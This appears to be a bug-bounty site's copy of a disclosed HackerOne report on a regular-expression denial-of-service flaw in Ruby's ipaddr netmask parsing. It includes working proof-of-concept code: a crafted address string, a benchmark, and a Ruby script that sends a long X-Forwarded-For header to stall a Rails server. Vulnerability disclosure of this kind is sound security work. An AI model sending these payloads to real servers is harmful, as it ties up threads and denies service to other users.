Skip to content
DoS Disclosed report Intermediate

ReDoS in IPAddr

A regular expression in the Ruby ipaddr library used to validate a netmask prefix is vulnerable to catastrophic backtracking, so a crafted address string with a long run of digits causes the parser to hang. Because Rails parses the X-Forwarded-For header with this library, a single request with a long header value can tie up a server thread for tens of seconds.

ooooooo_q Follow

Originally disclosed on HackerOne

  • Triaged in 16 days
  • Fixed in 3.3 years
  • Disclosed after 3.4 years

Hello, I found a pattern that occur ReDoS in IPAddr.new.

https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L525

Ruby
  def mask!(mask)
    case mask
    when String
      case mask
      when /\A(0|[1-9]+\d*)\z/
        prefixlen = mask.to_i

/\A(0|[1-9]+\d*)\z/ is vulnerable.

It is a detect result by recheck ( https://makenowjust-labs.github.io/recheck/ ).

recheck_1.png
recheck_1.png From the original on HackerOne

https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L628

Ruby
  def initialize(addr = '::', family = Socket::AF_UNSPEC)
    ...
    prefix, prefixlen = addr.split('/', 2)
    if prefix =~ /\A(.*)(%\w+)\z/
      prefix = $1
      zone_id = $2
      family = Socket::AF_INET6
    end
    ...
    if prefixlen
      mask!(prefixlen)
    else
      @mask_addr = (@family == Socket::AF_INET) ? IN4MASK : IN6MASK
    end
  end

mask! is used in IPAddr.new.

PoC

❯ ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]

❯ irb
irb(main):001:0> require 'time'
=> true
irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# => ReDoS (and raise ArgumentError)

It is also used by coerce_other, so it affects other methods as well.

IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1' * 50000 + '.' )
IPAddr.new("192.168.2.0/24") == "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") | "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") & "0.0.0.0/" + '1' * 50000 + '.'

benchmark

ipaddr_benchmark.rb

Ruby
require 'benchmark'
require 'ipaddr'
  
def ipaddr_new(length)
  text = "0.0.0.0/" + '1' * length + '.'
  IPAddr.new(text)
rescue IPAddr::InvalidAddressError
  nil
end

Benchmark.bm do |x|
  x.report { ipaddr_new(100) }
  x.report { ipaddr_new(1000) }
  x.report { ipaddr_new(10000) }
  x.report { ipaddr_new(100000) }
end
❯ bundle exec ruby ipaddr_benchmark.rb
       user     system      total        real
   0.000056   0.000003   0.000059 (  0.000055)
   0.002921   0.000003   0.002924 (  0.002968)
   0.300863   0.000694   0.301557 (  0.302580)
  31.050866   0.103006  31.153872 ( 31.255489)

Rails

Since it is used in ActionDispatch::RemoteIp, it is possible to attack using custom headers.

https://github.com/rails/rails/blob/v7.0.2.2/actionpack/lib/action_dispatch/middleware/remote_ip.rb#L172

Ruby
    private
      def ips_from(header) # :doc:
        return [] unless header
        # Split the comma-separated list into an array of strings.
        ips = header.strip.split(/[,\s]+/)
        ips.select do |ip|
          # Only return IPs that are valid according to the IPAddr#new method.
          range = IPAddr.new(ip).to_range
          # We want to make sure nobody is sneaking a netmask in.
          range.begin == range.end
        rescue ArgumentError
          nil
        end
      end

PoC

create rails server

❯ rails new rails_server -G -M -O -C -A -J -T      

❯ cd rails_server

❯ bundle exec rails s
=> Booting Puma
=> Rails 7.0.2.2 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 5.6.2 (ruby 3.1.1-p18) ("Birdie's Version")
*  Min threads: 5
*  Max threads: 5
*  Environment: development
*          PID: 13989
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000

ipaddr_request.rb

Ruby
require 'net/http'

url = URI.parse('http://127.0.0.1:3000/')

req = Net::HTTP::Get.new(url.path)

req['X-Forwarded-For'] =  "0.0.0.0/" + '1' * 80000 + '.' 

res = Net::HTTP.start(url.host, url.port) {|http|
  http.request(req)
}
❯ time bundle exec ruby ipaddr_request.rb
bundle exec ruby ipaddr_request.rb  0.18s user 0.08s system 0% cpu 40.302 total

Impact

ReDoS occurs when IPAddr.new accepts user input.

Rails uses ActionDispatch::RemoteIp by default, so it can be attacked by a request from the client.

If using nginx etc., the header length is limited to about 8k bytes, so it seems to be less affected. ( https://stackoverflow.com/questions/686217/maximum-on-http-header-values )

On the other hand, puma is susceptible because it can be used up to 80 * 1024.

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the regex used to validate the netmask prefix contains overlapping quantifiers that allow exponential backtracking on a long digit string followed by a non-matching character.

Impact

A client can cause a Rails server to spend tens of seconds processing a single request, though a front-end such as nginx that limits header size to about 8 KB reduces the effect, while puma allows headers up to 80 KB and is more exposed.

What the attacker needed

Ability to send a request with a custom header; server uses Ruby ipaddr via Rails RemoteIp; header size limit above the crafted length

How it was found

  1. Start a Ruby interpreter and load the ipaddr library.
  2. Call IPAddr.new with an address whose netmask part is a long run of digits followed by a dot.
  3. Observe that the call takes a very long time and then raises an error.
  4. For Rails, start a server and send a request with a long crafted X-Forwarded-For header.
  5. Observe that the request takes tens of seconds to complete.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A regular expression is a pattern used to check text. Some patterns can be written so that, on certain inputs, the checking takes an enormous amount of time instead of failing quickly; this is called a regular expression denial of service, or ReDoS. Here, sending an address with a very long string of digits makes the program spend seconds or minutes checking it, which can slow or block the server for other users.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.